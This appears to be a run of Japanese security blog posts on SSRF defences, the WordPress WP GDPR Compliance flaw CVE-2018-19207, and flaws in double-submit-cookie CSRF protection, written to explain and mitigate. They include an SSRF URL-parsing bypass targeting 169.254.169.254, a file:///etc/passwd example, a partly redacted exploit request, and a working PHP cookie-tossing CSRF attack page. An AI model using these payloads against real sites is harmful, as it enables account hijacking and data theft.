細かいことを気にすると言われそうですね。しかし、CWE-918とCWE-611では、脆弱性の混入メカニズムがまったく違います。なので、攻撃の影響が一部重なっているからと言って、両者をごっちゃにしてはいけないと思います。

SSRF攻撃が可能な脆弱性

SSRF攻撃が可能となる脆弱性には、CWE-918CWE-611の他に以下があります。

・ディレクトリトラバーサル(CWE-22
ディレクトリトラバーサルとCWE-918は、脆弱性混入のメカニズムが非常に似ています。パラメータの中身がURLかパス名かという違いだけです。PHP等ではfopen等ファイル名を扱う機能でURLを指定できるため、ディレクトリトラバーサル脆弱性の悪用でSSRF攻撃が可能になります。

・OSコマンドインジェクション
OSコマンドインジェクション(CWE-78)や、ファイルインクルード(LFI/RFI)(CWE-98)、安全でないデシリアライゼーション(CWE-502)などリモートコード実行(RCE)可能な脆弱性があれば、wgetやcurl等を利用してSSRF攻撃ができます。

・SQLインジェクション
SQLインジェクション(CWE-89)でも任意コマンド実行が可能な場合がありますし、データベースから他のデータベースに接続する機能などがSSRF攻撃の踏み台として使える場合があります。以下の記事は、PostgreSQLを悪用したSSRF攻撃の例が紹介されています。

SIOS "OSSよろず" ブログ出張所: PostgreSQL と SSRF

SSRF脆弱性(CWE-918)の対策

SSRF攻撃を防ぐには、まず、SSRF攻撃の原因となる脆弱性の対策が必須です。RCE可能な脆弱性や、SQLインジェクション、ディレクトリトラバーサル等は単体で非常に危険な脆弱性なので、SSRF攻撃の可否に関わらず対策すべきですし、対策方法も確立しています。問題はSSRF脆弱性(CWE-918)です。これは、要件によってはなかなかに厄介です。
まずスキーム(プロトコル)のチェックは必須です。これがないと、file:///etc/passwdのようなファイルスキームを指定してディレクトリトラバーサル攻撃ができます(下図)。


次にURL中のホスト名に紐付くIPアドレスのチェックですが、これがなかなか厄介です。通常、以下の手順に従うと思いますが、
  • URLをパースしてホスト名を取り出す
  • ホスト名からIPアドレスを求める
いずれも問題が入りやすい処理です。

URLをパースする際の問題

以下のような紛らわしいURLを解析する際に、PHPのparse_url関数がホスト名を誤認するバグがmalaさんから指摘されています。

http://169.254.169.254#@example.jp/

上記URLの正しいホスト名は 169.254.169.254 ですが、古いPHPは example.jp をホスト名として認識します(169.254.169.254#はユーザ名と認識)。このようなバグは他の言語処理系にもあり、IPアドレスのチェックをすり抜ける攻撃に悪用可能です。
この種の問題に対する緩和策として、parse_urlによって得られたホスト名やパス名からURLを組み立て直すという方法が考えられます。万一parse_urlがホスト名を誤認しても、IPアドレスチェックとHTTPリクエストでホスト名が一貫していれば、問題は入りにくいと言えます。ただし、この際にホスト名をバリデーションすることと、ユーザ名とパスワードは捨てられることが条件です。ユーザ名等を含めてしまうと元の木阿弥です。

ホスト名からIPアドレスを求める際の問題

ホスト名からIPアドレスを求める際にも以下の問題が発生します。
  • DNSサーバーが複数のIPアドレスを返す場合の処理の漏れ
  • IPアドレスの表記の多様性(参考記事
  • IPアドレスチェックとHTTPリクエストのタイミングの差を悪用した攻撃(TOCTOU脆弱性)
  • リクエスト先のWebサーバーが、攻撃対象サーバーにリダイレクトする
上記のTOCTOU(Time of check to time of use)問題は、DNSの名前解決の文脈ではDNS Rebindingとも呼ばれます。
これらに注意しつつIPアドレスチェックを実装する必要があります。
PHPのcurl関数の場合は、「最終的にアクセスしたホストのIPアドレス」を受け取る機能があるので、保険的にこれを確認する方法もあります。ただし、「リクエストを送るだけで攻撃が成立する」場合には効果がありません。
$prime_ip = curl_getinfo($ch, CURLINFO_PRIMARY_IP);  // 最終的にアクセスしたIPアドレスを求める
このように、「どこまでチェックで頑張れるか」は、利用するライブラリの機能にも依存します。
仕様的に可能であれば、外部からURLを受け取らないようにするか、許可されたURLの一覧表(ホワイトリスト)によるチェックが安全です。

ネットワーク的な保護

URLの完全な検証は難しいので、ネットワーク的な保護も有効です。以下は、AWSのドキュメントで推奨されている iptables の設定例です。これにより、「docker0 ブリッジのコンテナがコンテナインスタンスのロールに指定されている権限にアクセスするのを防止できます」としています。iptablesによる設定は環境依存なのでご注意ください。
sudo iptables --insert FORWARD 1 --in-interface docker+ --destination 169.254.169.254/32 --jump DROP
Amazon ECS コンテナインスタンスの IAM ロール - Amazon Elastic Container Service より引用

まとめ

SSRF攻撃とSSRF脆弱性について紹介しました。ここまで説明したように、任意のURLを対象とする処理はSSRF攻撃を受けやすく、また完全な対策は難しいのが現状です。
言い換えれば、「完全な対策が難しい」からこそ、今SSRFが注目されているとも言えます。
そもそも任意URLを受け取る処理が必要かどうかという仕様面の検討をした上で、実装の際にはできるだけ安全側に倒した処理と、アプリケーションとネットワークの両面からの対策を推奨します。

2018年12月3日月曜日

WordPressのプラグインWP GDPR Complianceの脆弱性CVE-2018-19207について分析した

11月中旬から、レンタルサーバー事業者等から、WordPressのプラグインWP GDPR Complianceの脆弱性について注意喚起が目立つようになりました。
記事本文には以下のように書かれています。
本脆弱性の影響 
WordPressにおいて、権限を持たないユーザーが脆弱性を利用してウェブサイト全体の設定を変更したり、第三者が管理者権限のあるユーザーを追加してウェブサイトの改ざんなどの不正利用を行う危険性がございます。

https://www.sakura.ad.jp/information/announcements/2018/11/22/1968198825/ より引用
以下はSecurity Nextからの引用です。
「同1.4.2」および以前のバージョンに権限昇格の脆弱性が存在し、11月6日にWordPress.orgのPlugin Directory Teamが開発者へ報告。同社では同月7日にアップデートとなる「同1.4.3」をリリースした。

脆弱性の悪用が始まった詳しい時期はわかっていないが、10月中旬ごろに同プラグインの利用環境下において、被害が発生したとの報告もあり、ゼロデイ攻撃が行われていた可能性が高い。またアップデート公開後には、積極的に攻撃が展開されているという。

http://www.security-next.com/100144 より引用
当該脆弱性CVE-2018-19207の原因と影響、対策などについて以下にまとめました。

WP GDPR Complianceプラグインとは

WP GDPR Complianceプラグインは、WordPressにGDPR対応機能を追加するためのプラグインです。下図はWordPressサイトに、クッキーと外部スクリプトの使用について同意を得ている様子です。最近は日本のサイトでも、この種の画面を目にするようになりました。


脆弱性の詳細

この脆弱性はWP GDPR Complianceのバージョン1.4.2以前に存在します。PoC(概念実証コード)は海外のサイトでは公開されていますが、悪用防止および私が逮捕されると嫌なので一部伏せ字(XXの箇所)にて示します。

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.jp
Content-Length: XXX
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

action=wpgdprc_process_XXXXX&data={"type":"XXXXXXXXXXXX","append":XXXXX,
"option":"XXXXXXXXXXXXXXXXXX","value":"XXXXXX"}&security=XXXXXXXXX
ご覧のように、data=のパラメータはJSON形式となります。また、security=はnonce(ナンス)ですが、WP GDPR Complianceをインストールすると、以下のようにJavaScriptのコードが挿入されます。以下のJSON中のajaxSecurityがnonceですので、容易に取得できます。nonceの役割はCSRF対策などですので、HTMLソースに貼ってあること自体は問題ではありません。
<script type='text/javascript'>
/* <![CDATA[ */
var wpgdprcData = {"ajaxURL":"http:\/\/example.jp\/wp-admin\/admin-ajax.php",
"ajaxSecurity":"0083ef6e45"};
/* ]]> */
</script>
当該脆弱性により、WordPressの設定を外部からログインなしに変更できることが脆弱性の中身です。具体的には、JSON中のoptionで示した項目が、valueで示した値に変更されます。

原因

当該バージョンのプラグインとPoCが入手できれば、当該脆弱性の原因分析は比較的容易です。以前弊社で実施した勉強会で脆弱性解析の手法を説明した模様を@tigerszkさんが素晴らしいブログ記事にまとめてくださっていますので、おおまかな手順はそちらを参照ください。

デバッガを利用してWebアプリの脆弱性を分析してみた

プラグインの脆弱なバージョンと修正バージョンで差分をとり、「脆弱な箇所」にあたりをつけてブレークポイントを設定したうえで、デバッガ上でPoCを打ち込んで見るのが簡便かと思います。ソースコードの該当箇所を以下に引用します。


./wp-content/plugins/wp-gdpr-compliance/Includes/Ajax.php より引用

ブレークポイントを設定する場合は、14行目のcheck_ajax_referer()関数呼び出しの行に設定するとよいと思います。この行は先程のnonceのチェックをしています。
PoCを打ち込むと、70行目のupdate_option()関数まで到達します。この関数は、WordPressの設定を変更する関数(リファレンス)ですが、引数$optionと$valueは、外部から送られたJSONで自由に設定できます。
すなわち、当該脆弱性を用いると、認証なしで、WordPressの設定を自由に変更できることになります。
修正後のソースを見ると、update_option関数の呼び出しの前に、WordPressの権限確認用の関数current_user_can('manage_options') の呼び出しが追加されています。

※ 22行目のstripslashesや37行目のesc_htmlはおそらく不要というかないのが正しそうです。また、71行目にdo_action関数がupdate_option関数と同じ引数で呼ばれていますが、両関数の引数は意味・内容が違うので、おそらくバグかと思います。

影響

認証なしでWordPressの設定を外部から変更できます。
もっともクリティカル攻撃の例として、海外のサイトでは以下が紹介されています。
  1. WordPressの設定変更で「利用者が自らユーザー登録できる」ようにする
  2. WordPressの設定変更でユーザー登録時の初期権限を『管理者』にする
  3. 攻撃者がユーザー登録すると管理者権限が与えられたユーザが作られる
  4. 攻撃者はそのユーザーでログインするとWordPressの管理者になれる
その他、update_option関数やdo_action関数の引数を自由に設定できることから、さまざまな攻撃が考えられます。

対策

WP GDPR complicaneプラグインの1.4.3で改修されています。本稿執筆時点の最新版は1.4.5です。最新版の導入を推奨します。
当脆弱性の攻撃のうち、管理者ユーザーを勝手に作成される経路については、WordPressのログイン機能 wp-login.php のURLを変更し、隠すことで緩和策になります。

まとめ

WP GDPR complicaneプラグインの脆弱性CVE-2018-19207について説明しました。Security Nextが報道しているように、この脆弱性はゼロデイ攻撃が行われていたという推測もあります。ログインURLを隠す以外の有力な緩和策も見当たらないこと、脆弱性の入り方のレベルが極めて低いことから、「プラグインの導入をできるだけ避ける」ことをお勧めします。

2018年11月26日月曜日

解答:CSRFの防止策に関するチートシートにツッコミを入れる

この記事は、先日の記事「問題:CSRFの防止策に関するチートシートにツッコミを入れる」に対する解答編です。まだ問題を見ていない方は、先に問題を読んで(できれば自分で解答を考えて)からこの記事をお読みいただくとよいと思います。
それでは、解答を説明します。

設問: チートシート旧版の翻訳であるJPCERT/CC訳(以下の引用部分)を元に以下の設問に答えよ。

引用(再掲)
Cookie の二重送信
Cookie の二重送信は、Cookie およびリクエストパラメーターの双方でランダムな値を送信し、サーバー側で Cookie の値とリクエストの値が等しいかどうか検証する手法です。
ユーザーがサイトにログイン するとき、サイトは暗号強度の高い疑似ランダム値を生成し、その値を Cookie としてユーザーのマシンに、セッション ID とは別に送ります 。どんな形であれ、サイトはこの値を保存しておく必要はありません。次にサイトは、機密に関わる送信にはすべてこのランダム値が非表示のフォーム値 (または他のリクエストパラメーター) および Cookie の値として含まれていることを確認します。同一生成元ポリシーにより、攻撃者はサーバーから送信されるどんなデータも読み取ることができません。また、Cookie の値を変更することもできません。攻撃者は、任意の値を悪意のある CSRF リクエストに添付して送信できますが、Cookie に保存されている値は、変更することも、読み取ることもできません。Cookie の値と、リクエストパラメーターまたはフォームの値は同じにする必要があるので、攻撃者はランダムの CSRF 値を推測できない限り、フォームを正常に送信できません。
Direct Web Remoting (DWR) の Java ライブラリバージョン 2.0 には、CSRF 対策として、透過的に Cookieの二重送信を行う機能が組み込まれています。

設問(1)

引用部分の解説には技術的な間違いがある。それを指摘せよ

解答(1)

以下の箇所が間違いです。
同一生成元ポリシーにより、攻撃者はサーバーから送信されるどんなデータも読み取ることができません。また、Cookie の値を変更することもできません。
Cookieの保護は同一生成元ポリシーではなく、独自のルールによります。そもそも「同一生成元」とは、ホスト、ポート番号、スキームのすべてが一致している状態ですが、Cookieは、以下のルールに従います。
  • ホスト: domain属性の指定があるばあいはdomainに指定したドメインおよびそのサブドメイン。ない場合はSet-CookieしたホストにのみCookieが送信される
  • ポート: RFC 6265によると、Cookieは同一ホストの異なるポートをまたがって共有される
  • スキーム: HTTPとHTTPSで相互にCookieの読み取り、書き込みができるが、secure属性が指定されたCookieはHTTPSの場合のみ送信される
結果として、「攻撃者はサーバーから送信されるどんなデータも読み取ることができません」は正しい(そのような使い方ができる)ですが、「Cookie の値を変更することもできません」は間違いで、Cookieの変更ができるシナリオはあります。

設問(2)

クッキーの二重送信でCSRF保護できないシナリオを複数指摘せよ。OWASP原文の改定で指摘されていないシナリオを指摘すると加点となる

解答(2)

以下、攻撃対象サイトが www.example.com というホスト名である前提で説明します(シナリオ1を除く)。

シナリオ1: クッキーモンスターバグの影響があるサイト

以前にもブログ記事で説明したように、Windows8.1以前のIE11にはクッキーモンスターバグがあり、地域型JPドメイン名や都道府県型JPドメイン名などで、不正なdomain属性のCookieが作れてしまいます。例えば、東京都のドメイン名は metro.tokyo.jpですが、私が所有するドメイン名(tokumaru.bunkyo.tokyo.jpやkawaguchi.tokyo.jp)で、domain=tokyo.jpというCookieがSet-Cookieできるため、tokenのクッキーを汚染する攻撃ができます(Windows8.1以前のIE限定)。このシナリオは以前下記の記事で紹介しました。

IEのクッキーモンスターバグはWindows 10で解消されていた

クッキーモンスターバグの影響を受けるのは、日本のドメイン名ばかりではありません。Public Suffix Listに掲載されたドメイン名のうちIEが対応していないものはすべて該当することになります。馴染み深いドメイン名の例としては以下があります。
  • blogspot.com
  • herokuapp.com
  • cloudfront.net
herokuapp.comもあるので、一興でHeroku上に先のサンプルスクリプトを動かしています(サイトを見る)。これを攻撃するスクリプトは以下となります。

<?php
  session_start();
  $token = "hello-csrf-trap";
  setcookie("token", $token, 0, '/', 'herokuapp.com');
?><body>
<form action="https://csrf-vul.herokuapp.com/chgmail.php" method="post">
<input name="mail" value="evil@example.com">
<input name="token" value="<?php echo $token; ?>">
<input type=submit>
</form>
</body>
Heroku上に上記をホスティングしました。下図はWindows8.1上のIE11で閲覧した様子です。


先程のリンクでmypage.phpを閲覧した後、この罠(リンク)を閲覧します。「クエリ送信」ボタンをクリックすると下記のようにメールアドレスが変更されます。


Public Suffix Listに対応したブラウザ(Google Chrome、Safari、FirefoxやWindows10上のIE11とEdge)であれば、上記の攻撃は成立しません。

シナリオ2: サブドメイン型 レンタルサーバーの場合

Public Suffix Listに対応したブラウザであっても、サブドメイン型として提供されるレンタルサーバーであれば、上記と同じ攻撃が成立します。hoge.examle.comやfoo.example.com等のドメイン名が選択できるレンタルサーバーであれば、

hoge.example.com 上のサイトを攻撃するCookieを
foo.example.com上のサイトで生成できる(domain=example.com)

ことになります。
このケースはブラウザの種類を問わず、また他の脆弱性などに依存しないので、特に注意が必要でしょう。

シナリオ3: example.comのサブドメインのホストにXSS脆弱性がある場合

通常クロスサイトスクリプティング(XSS)脆弱性は同一生成元ポリシーの範囲のみで影響を受けるので、他のサブドメインまで影響が及ぶことはありませんが、クッキーの生成に関してはサブドメインも影響を受けるため、example.comのサブドメインにどれか一つでもXSS脆弱性があるサイトがあれば、www.example.comで有効なtokenのcookieを発行できます。
このシナリオは、改定後のCSRF Prevention Cheat Sheetでは、Double Submit Cookieの項の「a)   While it's true that hellokitty.marketing.example.com cannot read cookies…」以下の箇所に解説があります。

シナリオ4: HTTPヘッダインジェクションなどCookie設定可能な脆弱性がある

攻撃対象サイトにHTTPヘッダインジェクション等Cookie設定が可能な脆弱性がある場合、当該サイトで有効なtokenのCookieを発行できます。他の対策ではこの影響は受けないので、二重送信Cookie特有のリスクということになります。

シナリオ5: HTTPとHTTPS混在のサイトでHTTP側にXSS脆弱性がある

シナリオ3の変形です。XSSは同一生成元ポリシーの範囲のみで影響があるということは、HTTPとHTTPS混在のサイトの場合、HTTP側のXSS脆弱性はHTTPS側には影響がなく、逆に、HTTPS側のXSS脆弱性はHTTP側では影響がありません。しかし、HTTP側で生成したCookieはHTTPS側でも有効なため、二重送信Cookieに関してはHTTP側にXSS脆弱性があれば、HTTPS側機能にも影響があります。
この問題も、他のCSRF対策にはない、二重送信Cookie固有のリスクといえます。
なお、同一オリジン内にXSS脆弱性があれば、他のCSRF対策も回避されますが、同様の攻撃はXSS単体でも可能(同一オリジンからのXMLHttpRequest等で)なので、XSSでCSRF対策が回避されることは気にしても仕方ないと言えます(CSRFの有無によりリスクは増加しない)。


シナリオ6: 通信経路上でトークンCookieを上書きする

以下の記事で説明した問題です。通信経路上に攻撃者がいる場合でも、HTTPSを使えば通信内容の盗聴や改ざんを防止できますが、中間者攻撃によるCookieの改変はHTTPSを使っても防げないという問題です。

HTTPSを使ってもCookieの改変は防げないことを実験で試してみた

常時TLSが一般的になりましたので、この経路による攻撃は大半のサイトが該当すると考えられます。「中間者攻撃なんて気にしないといけないの?」という感想もあるかもしれませんが、HTTPSの主要な目的は中間者攻撃など通信経路上の攻撃を防ぐことなので、HTTPSを使う以上は気にするべきでしょう。
このシナリオは、改定後のCSRF Prevention Cheat Sheetでは、Double Submit Cookieの項の「b)   If an attacker is in the middle, …」以下の箇所に解説があります。

※サイトの真正性確認だけのためにHTTPSを使うという考え方もあるとは思いますが

まとめ

OWASPのCSRF Prevention Cheat Sheet(旧版)の二重送信クッキーの問題について説明しました。二重送信クッキーは、複数のアプリケーションフレームワークで採用されていますが、上記で紹介したように、いくつかの対策回避パターンがあります。このため、CSRFがクリティカルに影響するサイトや、サブドメイン型レンタルサーバー等では使わない方がよいでしょう。利用するアプリケーションフレームがCSRF対策として二重送信クッキーを採用している場合、上記の影響が許容可能かどうかリスク分析してから採用されることを推奨します。

フォロワー

ブログ アーカイブ